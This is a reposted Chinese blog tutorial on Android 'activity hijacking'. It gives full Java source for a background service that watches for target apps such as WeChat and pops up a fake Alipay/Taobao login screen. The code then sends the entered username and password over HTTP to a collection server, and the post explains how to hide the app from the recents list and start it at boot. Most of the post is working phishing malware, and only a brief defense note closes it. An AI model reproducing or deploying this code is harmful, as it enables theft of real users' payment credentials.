activity劫持学习与复现
生活随笔
收集整理的這篇文章主要介紹了
activity劫持学习与复现
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
前言
activity劫持是指當程序運行時,惡意程序檢測到前臺運行的正是想要劫持的程序,于是立即啟動自己的活動,偽造一個一模一樣的登錄界面并立馬呈現給用戶,普通用戶無法識別這個頁面的真實性,于是惡意程序就可以獲取到用戶輸入的敏感信息并上傳到自己的服務器。activity劫持原理
1、在啟動activity的時候,加入標志位FLAG_ACTIVITY_NEW_TASK,就能夠使它置于棧頂并立馬呈現給用戶。
2、Android中程序可以枚舉當前運行進程而無需聲明其他權限。
3、AndroidMainfest配置文件中加入andorid:excludeFromRecent="true"這一項可以防止我們的惡意程序在最近訪問列表中出現(這一項實際不影響劫持的發生,只是增加其危險性,防止被發現)
這樣,我們就可以啟動一個服務,不停的掃描當前運行的進程,一旦發現當前進程正是我們想要劫持的,并運行在前臺,我們立馬喚起自己的釣魚活動界面并置于棧頂覆蓋掉之前的活動,獲得用戶敏感信息并發送到服務器。
啟動服務有兩種實現方式,我們可以啟動一個活動,通過活動去啟動服務,或者在配置文件中注冊一個監聽開機廣播的權限,然后在廣播接收器中啟動服務。
activity劫持實現
本文我們只實現通過活動啟動服務的方式,畢竟重點是服務代碼,第二種方式差別不大,文末給出的參考鏈接中也有相關實現代碼。
1、首先我們編寫MainActivity,代碼如下:
public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); startService(new Intent(this, HijackingService.class)); Log.i("hijacking", "activity啟動劫持service"); } } 說明:MainActivity只實現了一個功能,那就是啟動HijackingService。 2、編寫HijackingApplication類,代碼如下: public class HijackingApplication{ private static List<String> hijackings = new ArrayList(); public static void addProgressHijacked(String paramString){ hijackings.add(paramString); } public static void clearProgressHijacked(){ hijackings.clear(); } public static boolean hasProgressBeHijacked(String paramString){ return hijackings.contains(paramString); } } 說明:這個類的主要功能是,保存已經劫持過的包名,防止我們多次劫持增加暴露風險。
3、編寫HijackingService,代碼如下:
public class HijackingService extends Service{Handler handler = new Handler();private boolean hasStart = false;HashMap<String, Class<?>> mSadStories = new HashMap();Runnable mTask = new Runnable(){private void hijacking(String paramAnonymousString){//判斷是否已經劫持過,對于劫持過的程序跳過if (!HijackingApplication.hasProgressBeHijacked(paramAnonymousString)){Intent localIntent = new Intent(HijackingService.this.getBaseContext(), (Class)HijackingService.this.mSadStories.get(paramAnonymousString));localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);HijackingService.this.getApplication().startActivity(localIntent);HijackingApplication.addProgressHijacked(paramAnonymousString);Log.w("hijacking", "已經成功劫持");}}@Overridepublic void run() {// TODO Auto-generated method stubActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); List<RunningAppProcessInfo> appProcessInfos = activityManager.getRunningAppProcesses(); //正在枚舉進程for (RunningAppProcessInfo appProcessInfo : appProcessInfos) { // 如果APP在前臺//Log.w("打印出當前的processName", appProcessInfo.processName); if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {//如果包含在我們需要劫持的map中if (mSadStories.containsKey(appProcessInfo.processName)) { Log.w("準備劫持", appProcessInfo.processName); hijacking(appProcessInfo.processName); } else { //Log.w("hijacking", appProcessInfo.processName); } } } handler.postDelayed(mTask, 1000); }};@Overridepublic IBinder onBind(Intent intent) {// TODO Auto-generated method stubreturn null;}@Override public void onCreate() { super.onCreate(); mSadStories.put("com.example.hello", AlipayStoryActivity.class); //初始化需要劫持的包名mSadStories.put("com.tencent.mm", AlipayStoryActivity.class); //初始化需要劫持的包名handler.postDelayed(mTask, 1000); } @Override public boolean stopService(Intent name) { hasStart = false; Log.w("hijacking", "劫持服務停止"); HijackingApplication.clearProgressHijacked(); return super.stopService(name); } }說明:這個類在啟動的時候將需要劫持的包名以及其對應的惡意activity保存在map對象中,定期循環遍歷進程名,如果未劫持則進行劫持,并將其保存下來。這里我們使用的是測試惡意activityAlipayStoryActivity。
4、編寫惡意測試活動activityAlipayStoryActivity
public class AlipayStoryActivity extends Activity { private EditText name; private EditText password; private Button mBtAlipay; private Button mBtTaobao; private Button mBtRegister; private TextView mTvFindpswd; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); this.setTheme(android.R.style.Theme_NoTitleBar); setContentView(R.layout.alipay); mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay); mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao); mBtRegister = (Button) findViewById(R.id.alipay_bt_register); mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd); mTvFindpswd.setText(Html.fromHtml("[u]找回登錄密碼[/u]")); mBtAlipay.setSelected(true); name = (EditText) findViewById(R.id.input_name); password = (EditText) findViewById(R.id.input_password); } public void onButtonClicked(View v) { switch (v.getId()) { case R.id.alipay_bt_login: HandlerThread handlerThread = new HandlerThread("send"); handlerThread.start(); new Handler(handlerThread.getLooper()).post(new Runnable() { @Override public void run() { // 發送獲取到的用戶密碼 Log.i("hijacking", name.getText().toString());Log.i("hijacking", password.getText().toString());Log.i("hijacking", "支付寶");SendUtil.sendInfo(name.getText().toString(), password .getText().toString(), "支付寶"); } }); moveTaskToBack(true); break; case R.id.alipay_bt_alipay: chooseToAlipay(); break; case R.id.alipay_bt_taobao: chooseToTaobao(); break; default: break; } } private void chooseToAlipay() { mBtAlipay.setSelected(true); mBtTaobao.setSelected(false); name.setHint(R.string.alipay_name_alipay_hint); mTvFindpswd.setVisibility(View.VISIBLE); mBtRegister.setVisibility(View.VISIBLE); } private void chooseToTaobao() { mBtAlipay.setSelected(false); mBtTaobao.setSelected(true); name.setHint(R.string.alipay_name_taobao_hint); mTvFindpswd.setVisibility(View.GONE); mBtRegister.setVisibility(View.GONE); } } 說明:重點我們可以看點擊按鈕那部分,將獲取到的內容調用SendUtil.sendInfo方法發送。我們在這個文件中使用了很多布局文件,大家為了測試方便,也可以自己寫一個測試的登錄activity
5、編寫SendUtil,代碼如下:
public class SendUtil{public static void sendInfo(String paramString1, String paramString2, String paramString3){HttpClient httpClient = new DefaultHttpClient(); HttpGet httpGet = new HttpGet("http://10.0.0.33:8080/spring/test/receiver.do?a="+paramString1+"&b="+paramString2+"&c="+paramString3); try {HttpResponse httpResponse = httpClient.execute(httpGet);Log.i("hijacking", httpResponse.getStatusLine().getStatusCode()+"");} catch (ClientProtocolException e) {// TODO Auto-generated catch blocke.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();} } }說明:這個類需要添加兩個jar包,我使用的是httpclient-4.2.5.jar,一個httpcore-4.2.4.jar
6、編寫AndroidManifest.xml文件
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android"package="com.example.activityhijacking"android:versionCode="1"android:versionName="1.0" ><uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-sdkandroid:minSdkVersion="19"android:targetSdkVersion="22" /><applicationandroid:allowBackup="true"android:icon="@drawable/ic_launcher"android:label="@string/app_name"android:theme="@style/AppTheme" ><activityandroid:name=".MainActivity"android:label="@string/app_name" ><intent-filter><action android:name="android.intent.action.MAIN" /><category android:name="android.intent.category.LAUNCHER" /></intent-filter></activity><activityandroid:name=".demo.AlipayStoryActivity"android:label="@string/app_name" android:exported="true"></activity><service android:name=".service.HijackingService" /></application></manifest> 說明:這里大家注意修改自己的組件對應包名。
防護
目前,對activity劫持的防護,只能是適當給用戶警示信息。一些簡單的防護手段就是顯示當前運行的進程提示框。 梆梆加固則是在進程切換的時候給出提示,并使用白名單過濾。
參考鏈接
http://blog.csdn.net/ruingman/article/details/51146152http://blog.chinaunix.net/uid-16728139-id-4962659.html
http://www.droidsec.cn/%E6%A2%86%E6%A2%86sdks%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90%EF%BC%881%EF%BC%89-%E9%98%B2%E7%95%8C%E9%9D%A2%E5%8A%AB%E6%8C%81sdk/
總結
以上是生活随笔為你收集整理的activity劫持学习与复现的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Java核心技术整理(九)---持久层、
- 下一篇: 重磅来袭!这几款手机软件绝对的深入人心!